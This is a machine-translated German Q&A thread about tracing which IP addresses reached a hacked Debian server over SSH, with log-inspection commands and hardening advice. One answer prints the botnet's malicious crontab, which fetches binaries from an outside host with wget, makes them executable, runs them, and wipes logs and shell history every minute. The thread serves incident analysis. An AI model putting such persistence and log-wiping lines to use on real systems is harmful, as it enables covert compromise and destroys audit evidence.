it-swarm.com.de

Verlauf der IP-Adressen, die über ssh auf einen Server zugegriffen haben

Mir ist aufgefallen, dass ein Server von mir gehackt und mit einem bekannten chinesischen Botnetz infiziert wurde.

Es war ein Prototyp/eine virtuelle Testmaschine mit einer eigenen statischen IP-Adresse (US-Adresse), sodass kein Schaden verursacht wurde (ich habe nur eine Weile gebraucht, um das herauszufinden).

Jetzt möchte ich wissen, welche IP/s für das Eindringen verwendet wurden, um zu wissen, ob der Angriff aus China stammt.

Gibt es eine Möglichkeit, den Verlauf empfangener Verbindungen auf ssh auf dem Server anzuzeigen?

Edit: Das System ist Linux Debian 7

46
Dominique

Schauen Sie sich die Ausgabe des Befehls last an, und alles, was eine IP-Adresse oder einen Hostnamen anstelle eines Leerzeichens enthält, ist über das Netzwerk eingegangen. Wenn sshd der einzige Weg ist, dies auf diesem System zu tun, dann können Sie loslegen.

Alternativ (wenn dies Linux ist) können Sie /var/log/secure (auf RH-basierten Distributionen) oder /var/log/auth.log (in Debian-basierten Distributionen), wobei sshd normalerweise die Verbindungen verfolgt, auch wenn sie nicht zu erfolgreichen Anmeldungen führen (was utmp/wtmp trifft, von dem wird last lesen). Beispiel:

Apr  3 16:21:01 xxxxxxvlp05 sshd[6266]: Connection closed by xxx.xxx.13.76
...
Apr  3 09:09:49 xxxxxxvlp05 sshd[26275]: Failed password for invalid user __super from xxx.xxx.13.76 port 45229 ssh2

IIRC Solaris sshd (das nicht unbedingt OpenSSHs sshd sein muss) protokolliert diese Informationen in /var/adm/messages

EDIT :

@derobert macht einen ausgezeichneten Punkt. Es ist wichtig zu bedenken, dass auf jedem System, wenn Ihr Superuser-Konto kompromittiert ist, alle Wetten deaktiviert sind, da Protokolldateien wie /var/log/wtmp oder /var/adm/messages kann vom Angreifer geändert werden. Dies kann verringert werden, wenn Sie Protokolle außerhalb des Servers an einen sicheren Ort verschieben.

In einem Geschäft, in dem ich früher gearbeitet habe, hatten wir beispielsweise einen "Audit Vault" -Maschinen, der so gesichert war, dass nur die Überwachungsprotokolldateien von den verschiedenen Servern im Rechenzentrum empfangen wurden. Ich würde empfehlen, in Zukunft ein ähnliches Setup zu haben (da "Ich habe eine Testmaschine" so klingt, als würden Sie in einem großen Geschäft arbeiten).

48
Bratchley

Gibt es eine Möglichkeit, den Verlauf empfangener Verbindungen auf ssh auf dem Server anzuzeigen?

Dies sollte Ihnen eine Liste geben:

$ zgrep sshd /var/log/auth.log* | grep rhost | sed -re 's/.*rhost=([^ ]+).*/\1/' | sort -u

Dann können Sie geoiplookup aus dem geoip-bin Paket, um vom Hostnamen oder der IP-Adresse zum Land zu gelangen.

Nun, wie erwartet und wie @Joel Davis sagte, wurden alle Protokolle gelöscht, aber es gab eine Datei, die @Ramesh erwähnte, die einige Versuche hatte, auf den Root-Benutzer zuzugreifen, aber einige Male nicht das richtige Passwort eingegeben hatte, und dann die Trennung für zu viele Versuche.

Ich habe eine Traceroute für drei der Adressen durchgeführt und zwei stammen aus China und die andere aus Pakistan. Dies sind die IPs:

221.120.224.179
116.10.191.218
61.174.51.221

Weitere Informationen zu dem Botnetz, das nach einer Kompromittierung in den Server injiziert wurde:

Hacker bearbeiten crontab, um 7 ausführbare Dateien auszuführen, die alle x Zeit die gesamte CPU verbrauchen, die Netzwerkleistung des Servers maximieren und dann einfach sterben. Außerdem fügen sie die Readme-Datei 100 Mal zu crontab hinzu, um die hinzugefügten Zeilen auszublenden. Wenn Sie also crontab -l Sie werden von der Readme-Datei mit versteckten Zeilen gespammt. Um dies zu umgehen, habe ich crontab -l | grep -v '^#' und hier ist die Ausgabe dieses Befehls:

*/1 * * * * killall -9 .IptabLes
*/1 * * * * killall -9 nfsd4
*/1 * * * * killall -9 profild.key
*/1 * * * * killall -9 nfsd
*/1 * * * * killall -9 DDosl
*/1 * * * * killall -9 lengchao32
*/1 * * * * killall -9 b26
*/1 * * * * killall -9 codelove
*/1 * * * * killall -9 32
*/1 * * * * killall -9 64
*/1 * * * * killall -9 new6
*/1 * * * * killall -9 new4
*/1 * * * * killall -9 node24
*/1 * * * * killall -9 freeBSD
*/99 * * * * killall -9 kysapd
*/98 * * * * killall -9 atdd
*/97 * * * * killall -9 kysapd
*/96 * * * * killall -9 skysapd
*/95 * * * * killall -9 xfsdx
*/94 * * * * killall -9 ksapd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/cupsdd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/kysapd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sksapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/skysapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/xfsdx
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ksapd
*/120 * * * * cd /root;rm -rf dir Nohup.out
*/360 * * * * cd /etc;rm -rf dir atdd
*/360 * * * * cd /etc;rm -rf dir ksapd
*/360 * * * * cd /etc;rm -rf dir kysapd
*/360 * * * * cd /etc;rm -rf dir skysapd
*/360 * * * * cd /etc;rm -rf dir sksapd
*/360 * * * * cd /etc;rm -rf dir xfsdx
*/1 * * * * cd /etc;rm -rf dir cupsdd.*
*/1 * * * * cd /etc;rm -rf dir atdd.*
*/1 * * * * cd /etc;rm -rf dir ksapd.*
*/1 * * * * cd /etc;rm -rf dir kysapd.*
*/1 * * * * cd /etc;rm -rf dir skysapd.*
*/1 * * * * cd /etc;rm -rf dir sksapd.*
*/1 * * * * cd /etc;rm -rf dir xfsdx.*
*/1 * * * * chmod 7777 /etc/atdd
*/1 * * * * chmod 7777 /etc/cupsdd
*/1 * * * * chmod 7777 /etc/ksapd
*/1 * * * * chmod 7777 /etc/kysapd
*/1 * * * * chmod 7777 /etc/skysapd
*/1 * * * * chmod 7777 /etc/sksapd
*/1 * * * * chmod 7777 /etc/xfsdx
*/99 * * * * Nohup /etc/cupsdd > /dev/null 2>&1&
*/100 * * * * Nohup /etc/kysapd > /dev/null 2>&1&
*/99 * * * * Nohup /etc/atdd > /dev/null 2>&1&
*/98 * * * * Nohup /etc/kysapd > /dev/null 2>&1&
*/97 * * * * Nohup /etc/skysapd > /dev/null 2>&1&
*/96 * * * * Nohup /etc/xfsdx > /dev/null 2>&1&
*/95 * * * * Nohup /etc/ksapd > /dev/null 2>&1&
*/1 * * * * echo "unset MAILCHECK" >> /etc/profile
*/1 * * * * rm -rf /root/.bash_history
*/1 * * * * touch /root/.bash_history
*/1 * * * * history -r
*/1 * * * * cd /var/log > dmesg 
*/1 * * * * cd /var/log > auth.log 
*/1 * * * * cd /var/log > alternatives.log 
*/1 * * * * cd /var/log > boot.log 
*/1 * * * * cd /var/log > btmp 
*/1 * * * * cd /var/log > cron 
*/1 * * * * cd /var/log > cups 
*/1 * * * * cd /var/log > daemon.log 
*/1 * * * * cd /var/log > dpkg.log 
*/1 * * * * cd /var/log > faillog 
*/1 * * * * cd /var/log > kern.log 
*/1 * * * * cd /var/log > lastlog
*/1 * * * * cd /var/log > maillog 
*/1 * * * * cd /var/log > user.log 
*/1 * * * * cd /var/log > Xorg.x.log 
*/1 * * * * cd /var/log > anaconda.log 
*/1 * * * * cd /var/log > yum.log 
*/1 * * * * cd /var/log > secure
*/1 * * * * cd /var/log > wtmp
*/1 * * * * cd /var/log > utmp 
*/1 * * * * cd /var/log > messages
*/1 * * * * cd /var/log > spooler
*/1 * * * * cd /var/log > sudolog
*/1 * * * * cd /var/log > aculog
*/1 * * * * cd /var/log > access-log
*/1 * * * * cd /root > .bash_history
*/1 * * * * history -c

Wie Sie sehen können, werden alle Protokolldateien gelöscht. Deshalb konnte ich nicht viele Informationen abrufen.

Der gesamte Server (alle VMs) wurde heruntergefahren, was zu Zeitüberschreitungen auf den Sites und auf Proxmox führte. Hier ist ein Diagramm (die Spitzen kennzeichnen das Botnetz aktiv, das DDoS aktiv macht, und bemerken das Netzwerk aus): botnet activity

Infolgedessen werde ich einer Firewall den gesamten Bereich chinesischer IP-Adressen hinzufügen, um alle Verbindungen zu blockieren (ich habe keine chinesischen Benutzer, daher ist mir das egal). Außerdem werde ich Remote-Root-Anmeldungen nicht zulassen und lange Komplexe verwenden Passwörter. Ich werde höchstwahrscheinlich auch den SSH-Port ändern und auch private SSH-Schlüssel verwenden.

6
Dominique

Aus this Antwort sehe ich die folgenden Informationen.

Wenn ich über SSH-Server spreche, werde ich Ihnen Befehlszeilenlösungen geben.

Verfolgen Sie Benutzeranmeldungen und -abmeldungen . Das ist einfach, die Datei /var/log/auth.log Sollte diese Informationen enthalten.

Aktivität dieser Benutzer verfolgen : Wenn sie etwas unschuldig sind, können Sie die Datei .bash_history In ihrem Home-Verzeichnis überprüfen. Sie sehen eine Liste der Befehle, die sie ausgeführt haben. Das Problem ist natürlich, dass sie diese Datei löschen oder bearbeiten können.

Benutzer daran hindern, Protokolle zu löschen : Benutzer sollten nicht in der Lage sein, auth.log Zu berühren. Um zu verhindern, dass sie mit bash_history Spielen, müssen Sie einige Tricks ausführen.

Was ist, wenn der Benutzer Root-Zugriff erhält? : Sie sind geschraubt. Wenn er keinen Fehler macht, kann er alle seine Schritte verbergen.

Außerdem können wir anhand der Antwort this die IP-Adresse eines Clients mithilfe der Variablen SSH_CLIENT Sehen.

Auch aus this Antwort sehe ich, dass der SSH-Verlauf in diesen Dateien gespeichert werden kann.

Zusätzlich zu /var/log/lastlog Gibt es 3 Dateien in /var/run Und /var/log: utmp, wtmp und btmp, die Informationen zu aktuellen Anmeldungen (und zusätzlichen Informationen), historischen und fehlgeschlagenen Anmeldungen enthalten. Siehe Wiki für eine detaillierte Beschreibung. Sie können die Dateien nicht mit normalen Editoren bearbeiten, sondern löschen.

3
Ramesh

m nur erfolgreiche Anmeldeversuche mit Passwort zu sehen :

zgrep sshd /var/log/auth.log* -h |grep -F 'Accepted'
2
Vini

Der einfachste Befehl, um die letzten 10 Benutzer am Computer anzumelden, lautet last|head.

Um alle Benutzer zu erhalten, verwenden Sie einfach den Befehl last

1
Nikhil Katre

Diese Maschine wurde kompromittiert. Dies bedeutet, dass historische oder aktuelle Daten nicht mehr vertrauenswürdig sind.

Kurz gesagt, die Antwort lautet nein. Sie können nicht sicher sein, ob Sie die Ursprungsadresse aus einer auf diesem Computer aufgezeichneten Protokolldatei gefunden haben.

Wischen und neu installieren. Und Patch.

1
roaima

für Debian ist die Testsuche etwas anders formuliert

zgrep sshd /var/log/auth.log* -h |grep -F 'session opened for user'
1
CRTLBREAK